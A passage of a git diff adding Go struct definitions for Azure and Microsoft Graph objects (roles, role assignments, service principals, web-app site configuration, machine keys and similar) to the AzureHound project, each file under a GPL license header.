terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ResourceGroupProperties struct { + ProvisioningState string `json:"provisioningState,omitempty"` +} diff --git a/models/azure/resource_reference.go b/models/azure/resource_reference.go new file mode 100644 index 0000000..28cbb17 --- /dev/null +++ b/models/azure/resource_reference.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ResourceReference struct { + Entity + + Name string `json:"name,omitempty"` + Type string `json:"type,omitempty"` +} diff --git a/models/azure/role.go b/models/azure/role.go new file mode 100644 index 0000000..30a25c1 --- /dev/null +++ b/models/azure/role.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// A role definition is a collection of permissions in Azure Active Directory (Azure AD) listing the operations that can +// be performed and the resources against which they can performed. +type Role struct { + DirectoryObject + + // The description for the role. Read-only when isBuiltIn is true. + Description string `json:"description,omitempty"` + + // The display name for the role. + // + // Read-only when isBuiltIn is true + // Required + // Supports $filter (eq, in). + DisplayName string `json:"displayName,omitempty"` + + // Flag indicating whether the role definition is part of the default set included in + // Azure Active Directory (Azure AD) or a custom definition. + // + // Read-only + // Supports $filter (eq, in) + IsBuiltIn bool `json:"isBuiltIn,omitempty"` + + // Flag indicating whether the role is enabled for assignment. + // If false the role is not available for assignment. + // + // Read-only when isBuiltIn is true + IsEnabled bool `json:"isEnabled,omitempty"` + + // List of the scopes or permissions the role definition applies to. + // Currently only `/` is supported. + // + // Read-only when isBuiltIn is true + // Note: DO NOT USE. This will be deprecated soon. Attach scope to role assignment. + ResourceScopes []string `json:"resourceScopes,omitempty"` + + // List of permissions included in the role. + // + // Read-only when isBuiltIn is true + // Required + RolePermissions []RolePermission `json:"rolePermissions,omitempty"` + + // Custom template identifier that can be set when isBuiltIn is false but is read-only when isBuiltIn is true. + // This identifier is typically used if one needs an identifier to be the same across different directories. + TemplateId string `json:"templateId,omitempty"` + + // Indicates version of the role definition. + // + // Read-only when isBuiltIn is true + Version string `json:"version,omitempty"` +} diff --git a/models/azure/role_assignment.go b/models/azure/role_assignment.go new file mode 100644 index 0000000..07ea735 --- /dev/null +++ b/models/azure/role_assignment.go @@ -0,0 +1,47 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type RoleAssignmentPropertiesWithScope struct { + // The principal ID. + PrincipalId string `json:"principalId,omitempty"` + + // The role definition ID. + RoleDefinitionId string `json:"roleDefinitionId,omitempty"` + + // The role assignment scope. + Scope string `json:"scope,omitempty"` +} + +type RoleAssignment struct { + // The role assignment ID. + Id string `json:"id,omitempty"` + + // The role assignment name. + Name string `json:"name,omitempty"` + + // The role assignment type. + Type string `json:"type,omitempty"` + + // Role assignment properties + Properties RoleAssignmentPropertiesWithScope `json:"properties,omitempty"` +} + +func (s RoleAssignment) GetPrincipalId() string { + return s.Properties.PrincipalId +} diff --git a/models/azure/role_permission.go b/models/azure/role_permission.go new file mode 100644 index 0000000..190059d --- /dev/null +++ b/models/azure/role_permission.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents a collection of allowed resource actions and the conditions that must be met for the action to be allowed. +// Resource actions are tasks that can be performed on a resource. For example, an application resource may support +// create, update, delete, and reset password actions. +type RolePermission struct { + // Set of tasks that can be performed on a resource. + // + // Required + AllowedResourceActions []string `json:"allowedResourceActions,omitempty"` + + // Optional constraints that must be met for the permission to be effective. + Condition string `json:"condition,omitempty"` + + // Set of tasks that may not be performed on a resource. + // Not yet supported by MS Graph API. + ExcludedResourceActions []string `json:"excludedResourceActions,omitempty"` +} diff --git a/models/azure/routing_preference.go b/models/azure/routing_preference.go new file mode 100644 index 0000000..622920a --- /dev/null +++ b/models/azure/routing_preference.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type RoutingPreference struct { + PublishInternetEndpoints bool `json:"publishInternetEndpoints,omitempty"` + PublishMicrosoftEndpoints bool `json:"publishMicrosoftEndpoints,omitempty"` + RoutingChoice enums.RoutingChoice `json:"routingChoice,omitempty"` +} diff --git a/models/azure/saml_sso_settings.go b/models/azure/saml_sso_settings.go new file mode 100644 index 0000000..94d54e0 --- /dev/null +++ b/models/azure/saml_sso_settings.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents a container for settings related to SAML single sign-on. +type SamlSingleSignOnSettings struct { + // The relative URI the service provider would redirect to after completion of the single sign-on flow. + RelayState string `json:"relayState,omitempty"` +} diff --git a/models/azure/sas_policy.go b/models/azure/sas_policy.go new file mode 100644 index 0000000..e40609b --- /dev/null +++ b/models/azure/sas_policy.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type SasPolicy struct { + + //according to the documentation, this can only be the string "Log" + ExpirationAction string `json:"expirationAction,omitempty"` + SasExpirationPeriod string `json:"sasExpirationPeriod,omitempty"` +} diff --git a/models/azure/scheduled_events_profile.go b/models/azure/scheduled_events_profile.go new file mode 100644 index 0000000..e9f35f9 --- /dev/null +++ b/models/azure/scheduled_events_profile.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ScheduledEventsProfile struct { + // Specifies Terminate Scheduled Event related configurations. + TerminateNotificationProfile TerminateNotificationProfile `json:"terminateNotificationProfile,omitempty"` +} diff --git a/models/azure/security_profile.go b/models/azure/security_profile.go new file mode 100644 index 0000000..64e259d --- /dev/null +++ b/models/azure/security_profile.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the Security profile settings for the virtual machine or virtual machine scale set. +type SecurityProfile struct { + // This property can be used by user in the request to enable or disable the Host Encryption for the virtual machine + // or virtual machine scale set. This will enable the encryption for all the disks including Resource/Temp disk at + // host itself. + // Default: The Encryption at host will be disabled unless this property is set to true for the resource. + EncryptionAtHost bool `json:"encryptionAtHost,omitempty"` + + // Specifies the SecurityType of the virtual machine. It is set as TrustedLaunch to enable UefiSettings. + // Default: UefiSettings will not be enabled unless this property is set as TrustedLaunch. + SecurityType string `json:"securityType,omitempty"` + + // Specifies the security settings like secure boot and vTPM used while creating the virtual machine. + // Minimum api-version: 2020-12-01 + UefiSettings UefiSettings `json:"uefiSettings,omitempty"` +} diff --git a/models/azure/service_principal.go b/models/azure/service_principal.go new file mode 100644 index 0000000..5ba521b --- /dev/null +++ b/models/azure/service_principal.go @@ -0,0 +1,179 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Represents an instance of an application in a directory. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/serviceprincipal?view=graph-rest-1.0 +type ServicePrincipal struct { + DirectoryObject + + // true if the service principal account is enabled; otherwise, false. + // Supports $filter (eq, ne, NOT, in). + AccountEnabled bool `json:"accountEnabled,omitempty"` + + // Defines custom behavior that a consuming service can use to call an app in specific contexts. + // For example, applications that can render file streams may set the addIns property for its "FileHandler" + // functionality. This will let services like Microsoft 365 call the application in the context of a document the + // user is working on. + AddIns []AddIn `json:"addIns,omitempty"` + + // Used to retrieve service principals by subscription, identify resource group and full resource ids for managed + // identities. + // Supports $filter (eq, NOT, ge, le, startsWith). + AlternativeNames []string `json:"alternativeNames,omitempty"` + + // The description exposed by the associated application. + AppDescription string `json:"appDescription,omitempty"` + + // The display name exposed by the associated application. + AppDisplayName string `json:"appDisplayName,omitempty"` + + // The unique identifier for the associated application (its appId property). + AppId string `json:"appId,omitempty"` + + // Unique identifier of the applicationTemplate that the servicePrincipal was created from. + // Read-only. + // Supports $filter (eq, ne, NOT, startsWith). + ApplicationTemplateId string `json:"applicationTemplateId,omitempty"` + + // Contains the tenant id where the application is registered. + // This is applicable only to service principals backed by applications. + // Supports $filter (eq, ne, NOT, ge, le). + AppOwnerOrganizationId string `json:"appOwnerOrganizationId,omitempty"` + + // Specifies whether users or other service principals need to be granted an app role assignment for this service + // principal before users can sign in or apps can get tokens. + // The default value is false. + // Not nullable. + // Supports $filter (eq, ne, NOT). + AppRoleAssignmentRequired bool `json:"appRoleAssignmentRequired,omitempty"` + + // The roles exposed by the application which this service principal represents. + // For more information see the appRoles property definition on the application entity. + // Not nullable. + AppRoles []AppRole `json:"appRoles,omitempty"` + + // The date and time the service principal was deleted. + // Read-only. + DeletedDateTime string `json:"deletedDateTime,omitempty"` + + // Free text field to provide an internal end-user facing description of the service principal. + // End-user portals such MyApps will display the application description in this field. + // The maximum allowed size is 1024 characters. + // Supports $filter (eq, ne, NOT, ge, le, startsWith) and $search. + Description string `json:"description,omitempty"` + + // Specifies whether Microsoft has disabled the registered application. + // Possible values are: null (default value), NotDisabled, and DisabledDueToViolationOfServicesAgreement + // (reasons may include suspicious, abusive, or malicious activity, or a violation of the Microsoft Services + // Agreement). + // Supports $filter (eq, ne, NOT). + DisabledByMicrosoftStatus string `json:"disabledByMicrosoftStatus,omitempty"` + + // The display name for the service principal. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith), $search, and $orderBy. + DisplayName string `json:"displayName,omitempty"` + + // Home page or landing page of the application. + Homepage string `json:"homepage,omitempty"` + + // Basic profile information of the acquired application such as app's marketing, support, terms of service and + // privacy statement URLs. The terms of service and privacy statement are surfaced to users through the user consent + // experience. + // Supports $filter (eq, ne, NOT, ge, le). + Info InformationalUrl `json:"info,omitempty"` + + // The collection of key credentials associated with the service principal. + // Not nullable. + // Supports $filter (eq, NOT, ge, le). + KeyCredentials []KeyCredential `json:"keyCredentials,omitempty"` + + // Specifies the URL where the service provider redirects the user to Azure AD to authenticate. + // Azure AD uses the URL to launch the application from Microsoft 365 or the Azure AD My Apps. When blank, Azure AD + // performs IDP-initiated sign-on for applications configured with SAML-based single sign-on. The user launches the + // application from Microsoft 365, the Azure AD My Apps, or the Azure AD SSO URL. + LoginUrl string `json:"loginUrl,omitempty"` + + // Specifies the URL that will be used by Microsoft's authorization service to logout an user using OpenId Connect + // front-channel, back-channel or SAML logout protocols. + LogoutUrl string `json:"logoutUrl,omitempty"` + + // Free text field to capture information about the service principal, typically used for operational purposes. + // Maximum allowed size is 1024 characters. + Notes string `json:"notes,omitempty"` + + // Specifies the list of email addresses where Azure AD sends a notification when the active certificate is near the + // expiration date. This is only for the certificates used to sign the SAML token issued for Azure AD Gallery + // applications. + NotificationEmailAddresses []string `json:"notificationEmailAddresses,omitempty"` + + // The delegated permissions exposed by the application. + OAuth2PermissionScopes []PermissionScope `json:"oauth2PermissionScopes,omitempty"` + + // The collection of password credentials associated with the application. + // Not nullable. + PasswordCredentials []PasswordCredential `json:"passwordCredentials,omitempty"` + + // Specifies the single sign-on mode configured for this application. + // Azure AD uses the preferred single sign-on mode to launch the application from Microsoft 365 or the Azure AD My Apps. + // The supported values are password, saml, notSupported, and oidc. + PreferredSingleSignOnMode string `json:"preferredSingleSignOnMode,omitempty"` + + // The URLs that user tokens are sent to for sign in with the associated application, or the redirect URIs that + // OAuth 2.0 authorization codes and access tokens are sent to for the associated application. + // Not nullable. + ReplyUrls []string `json:"replyUrls,omitempty"` + + // The collection for settings related to saml single sign-on. + SamlSingleSignOnSettings SamlSingleSignOnSettings `json:"samlSingleSignOnSettings,omitempty"` + + // Contains the list of identifiersUris, copied over from the associated application. + // Additional values can be added to hybrid applications. + // These values can be used to identify the permissions exposed by this app within Azure AD. + // For example, Client apps can specify a resource URI which is based on the values of this property to acquire an + // access token, which is the URI returned in the “aud” claim. + // The any operator is required for filter expressions on multi-valued properties. + // Not nullable. + // Supports $filter (eq, NOT, ge, le, startsWith). + ServicePrincipalNames []string `json:"servicePrincipalNames,omitempty"` + + // Identifies whether the service principal represents an application, a managed identity, or a legacy application. + // This is set by Azure AD internally. + ServicePrincipalType enums.ServicePrincipalType `json:"servicePrincipalType,omitempty"` + + // Specifies the Microsoft accounts that are supported for the current application. + // Read-only. + SignInAudience enums.SigninAudience `json:"signInAudience,omitempty"` + + // Custom strings that can be used to categorize and identify the service principal. Not nullable. + // Supports $filter (eq, NOT, ge, le, startsWith). + Tags []string `json:"tags,omitempty"` + + // Specifies the keyId of a public key from the keyCredentials collection. + // When configured, Azure AD issues tokens for this application encrypted using the key specified by this property. + // The application code that receives the encrypted token must use the matching private key to decrypt the token + // before it can be used for the signed-in user. + TokenEncryptionKeyId string `json:"tokenEncryptionKeyId,omitempty"` + + // Specifies the verified publisher of the application which this service principal represents. + VerifiedPublisher VerifiedPublisher `json:"verifiedPublisher,omitempty"` +} diff --git a/models/azure/site_config.go b/models/azure/site_config.go new file mode 100644 index 0000000..ad1b4a8 --- /dev/null +++ b/models/azure/site_config.go @@ -0,0 +1,152 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type SiteConfig struct { + AcrUseManagedIdentityCreds bool `json:"acrUseManagedIdentityCreds,omitempty"` + AcrUserManagedIdentityID string `json:"acrUserManagedIdentityID,omitempty"` + AlwaysOn bool `json:"alwaysOn,omitempty"` + ApiDefinition ApiDefinitionInfo `json:"apiDefinition,omitempty"` + ApiManagementConfig ApiManagementConfig `json:"apiManagementConfig,omitempty"` + AppCommandLine string `json:"appCommandLine,omitempty"` + AppSettings []NameValuePair `json:"appSettings,omitempty"` + AutoHealEnabled bool `json:"autoHealEnabled,omitempty"` + AutoHealRules string `json:"autoHealRules,omitempty"` + AutoSwapSlotName string `json:"autoSwapSlotName,omitempty"` + AzureStorageAccounts map[string]AzureStorageInfoValue `json:"azureStorageAccounts,omitempty"` + ConnectionStrings []ConnStringInfo `json:"connectionStrings,omitempty"` + Cors CorsSettings `json:"cors,omitempty"` + DefaultDocuments []string `json:"defaultDocuments,omitempty"` + DetailedErrorLoggingEnabled bool `json:"detailedErrorLoggingEnabled,omitempty"` + DocumentRoot string `json:"documentRoot,omitempty"` + Experiments Experiments `json:"experiments,omitempty"` + FtpsState enums.FtpsState `json:"ftpsState,omitempty"` + FunctionAppScaleLimit int `json:"functionAppScaleLimit,omitempty"` + FunctionsRuntimeScaleMonitoringEnabled bool `json:"functionsRuntimeScaleMonitoringEnabled,omitempty"` + HandlerMappings []HandlerMapping `json:"handlerMappings,omitempty"` + HealthCheckPath string `json:"healthCheckPath,omitempty"` + Http20Enabled bool `json:"http20Enabled,omitempty"` + HttpLoggingEnabled bool `json:"httpLoggingEnabled,omitempty"` + IpSecurityRestrictions []IpSecurityRestriction `json:"ipSecurityRestrictions,omitempty"` + JavaContainer string `json:"javaContainer,omitempty"` + JavaContainerVersion string `json:"javaContainerVersion,omitempty"` + JavaVersion string `json:"javaVersion,omitempty"` + KeyVaultReferenceIdentity string `json:"keyVaultReferenceIdentity,omitempty"` + Limits SiteLimits `json:"limits,omitempty"` + LinuxFxVersion string `json:"linuxFxVersion,omitempty"` + LoadBalancing enums.SiteLoadBalancing `json:"loadBalancing,omitempty"` + LocalMySqlEnabled bool `json:"localMySqlEnabled,omitempty"` + LogsDirectorySizeLimit int `json:"logsDirectorySizeLimit,omitempty"` + MachineKey SiteMachineKey `json:"machineKey,omitempty"` + ManagedPipelineMode enums.ManagedPipelineMode `json:"managedPipelineMode,omitempty"` + ManagedServiceIdentityId int `json:"managedServiceIdentityId,omitempty"` + MinTlsVersion enums.SupportedTlsVersions `json:"minTlsVersion,omitempty"` + MinimumElasticInstanceCount int `json:"minimumElasticInstanceCount,omitempty"` + NetFrameworkVersion string `json:"netFrameworkVersion,omitempty"` + NodeVersion string `json:"nodeVersion,omitempty"` + NumberOfWorkers int `json:"numberOfWorkers,omitempty"` + PhpVersion string `json:"phpVersion,omitempty"` + PowerShellVersion string `json:"powerShellVersion,omitempty"` + PreWarmedInstanceCount int `json:"preWarmedInstanceCount,omitempty"` + PublicNetworkAccess string `json:"publicNetworkAccess,omitempty"` + PublishingUsername string `json:"publishingUsername,omitempty"` + Push PushSettings `json:"push,omitempty"` + PythonVersion string `json:"pythonVersion,omitempty"` + RemoteDebuggingEnabled bool `json:"remoteDebuggingEnabled,omitempty"` + RemoteDebuggingVersion string `json:"remoteDebuggingVersion,omitempty"` + RequestTracingEnabled bool `json:"requestTracingEnabled,omitempty"` + RequestTracingExpirationTime string `json:"requestTracingExpirationTime,omitempty"` + ScmIpSecurityRestrictions []IpSecurityRestriction `json:"scmIpSecurityRestrictions,omitempty"` + ScmIpSecurityRestrictionsUseMain bool `json:"scmIpSecurityRestrictionsUseMain,omitempty"` + ScmMinTlsVersion enums.SupportedTlsVersions `json:"scmMinTlsVersion,omitempty"` + ScmType enums.ScmType `json:"scmType,omitempty"` + TracingOptions string `json:"tracingOptions,omitempty"` + Use32BitWorkerProcess bool `json:"use32BitWorkerProcess,omitempty"` + VirtualApplications []VirtualApplication `json:"virtualApplications,omitempty"` + VnetName string `json:"vnetName,omitempty"` + VnetPrivatePortsCount int `json:"vnetPrivatePortsCount,omitempty"` + VnetRouteAllEnabled bool `json:"vnetRouteAllEnabled,omitempty"` + WebSocketsEnabled bool `json:"webSocketsEnabled,omitempty"` + WebsiteTimeZone string `json:"websiteTimeZone,omitempty"` + WindowsFxVersion string `json:"windowsFxVersion,omitempty"` + XManagedServiceIdentityId int `json:"xManagedServiceIdentityId,omitempty"` + + //Following ones have been found in testing, but not present in the documentation + AntivirusScanEnabled bool `json:"antivirusScanEnabled,omitempty"` + AzureMonitorLogCategories interface{} `json:"azureMonitorLogCategories,omitempty"` + CustomAppPoolIdentityAdminState interface{} `json:"customAppPoolIdentityAdminState,omitempty"` + CustomAppPoolIdentityTenantState interface{} `json:"customAppPoolIdentityTenantState,omitempty"` + ElasticWebAppScaleLimit interface{} `json:"elasticWebAppScaleLimit,omitempty"` + FileChangeAuditEnabled bool `json:"fileChangeAuditEnabled,omitempty"` + Http20ProxyFlag interface{} `json:"http20ProxyFlag,omitempty"` + IpSecurityRestrictionsDefaultAction interface{} `json:"ipSecurityRestrictionsDefaultAction,omitempty"` + Metadata interface{} `json:"metadata,omitempty"` + MinTlsCipherSuite interface{} `json:"minTlsCipherSuite,omitempty"` + PublishingPassword interface{} `json:"publishingPassword,omitempty"` + RoutingRules interface{} `json:"routingRules,omitempty"` + RuntimeADUser interface{} `json:"runtimeADUser,omitempty"` + RuntimeADUserPassword interface{} `json:"runtimeADUserPassword,omitempty"` + ScmIpSecurityRestrictionsDefaultAction interface{} `json:"scmIpSecurityRestrictionsDefaultAction,omitempty"` + SitePort interface{} `json:"sitePort,omitempty"` + StorageType interface{} `json:"storageType,omitempty"` + SupportedTlsCipherSuites interface{} `json:"supportedTlsCipherSuites,omitempty"` + WinAuthAdminState interface{} `json:"winAuthAdminState,omitempty"` + WinAuthTenantState interface{} `json:"winAuthTenantState,omitempty"` +} + +type ApiDefinitionInfo struct { + Url string `json:"url,omitempty"` +} + +type ApiManagementConfig struct { + Id string `json:"id,omitempty"` +} + +type CorsSettings struct { + AllowedOrigins []string `json:"allowedOrigins,omitempty"` + SupportCredentials bool `json:"supportCredentials,omitempty"` +} + +type Experiments struct { + RampUpRules []RampUpRule `json:"rampUpRules,omitempty"` +} + +type RampUpRule struct { + ActionHostName string `json:"actionHostName,omitempty"` + ChangeDecisionCallbackUrl string `json:"changeDecisionCallbackUrl,omitempty"` + ChangeIntervalInMinutes int `json:"changeIntervalInMinutes,omitempty"` + ChangeStep int `json:"changeStep,omitempty"` + MaxReroutePercentage int `json:"maxReroutePercentage,omitempty"` + MinReroutePercentage int `json:"minReroutePercentage,omitempty"` + Name string `json:"name,omitempty"` + ReroutePercentage int `json:"reroutePercentage,omitempty"` +} + +type HandlerMapping struct { + Arguments string `json:"arguments,omitempty"` + Extension string `json:"extension,omitempty"` + ScriptProcessor string `json:"scriptProcessor,omitempty"` +} + +type SiteLimits struct { + MaxDiskSizeInMb int `json:"maxDiskSizeInMb,omitempty"` + MaxMemoryInMb int `json:"maxMemoryInMb,omitempty"` + MaxPercentageCpu int `json:"maxPercentageCpu,omitempty"` +} diff --git a/models/azure/site_machine_key.go b/models/azure/site_machine_key.go new file mode 100644 index 0000000..09af250 --- /dev/null +++ b/models/azure/site_machine_key.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type SiteMachineKey struct { + Decryption string `json:"decryption,omitempty"` + DecryptionKey string `json:"decryptionKey,omitempty"` + Validation string `json:"validation,omitempty"` + ValidationKey string `json:"validationKey,omitempty"` +} diff --git a/models/azure/sku.go b/models/azure/sku.go new file mode 100644 index 0000000..960bc27 --- /dev/null +++ b/models/azure/sku.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// SKU details +type Sku struct { + // The SKU family name. Only available option is "A" + Family string `json:"family,omitempty"` + + // SKU name to specify whether the key vault is a standard vault or a premium vault. + Name enums.VaultSku `json:"name,omitempty"` +} diff --git a/models/azure/slot_swap_status.go b/models/azure/slot_swap_status.go new file mode 100644 index 0000000..6801b27 --- /dev/null +++ b/models/azure/slot_swap_status.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type SlotSwapStatus struct { + DestinationSlotName string `json:"destinationSlotName,omitempty"` + SourceSlotName string `json:"sourceSlotName,omitempty"` + TimestampUtc string `json:"timestampUtc,omitempty"` +} diff --git a/models/azure/spa_application.go b/models/azure/spa_application.go new file mode 100644 index 0000000..40817f0 --- /dev/null +++ b/models/azure/spa_application.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies settings for a single-page application. +type SPAApplication struct { + // Specifies the URLs where user tokens are sent for sign-in, or the redirect URIs where OAuth 2.0 authorization + // codes and access tokens are sent. + RedirectUris []string `json:"redirectUris,omitempty"` +} diff --git a/models/azure/ssh_config.go b/models/azure/ssh_config.go new file mode 100644 index 0000000..c7dcad5 --- /dev/null +++ b/models/azure/ssh_config.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// SSH configuration for Linux based VMs running on Azure. +type SshConfiguration struct { + // The list of SSH public keys used to authenticate with linux based VMs. + PublicKeys 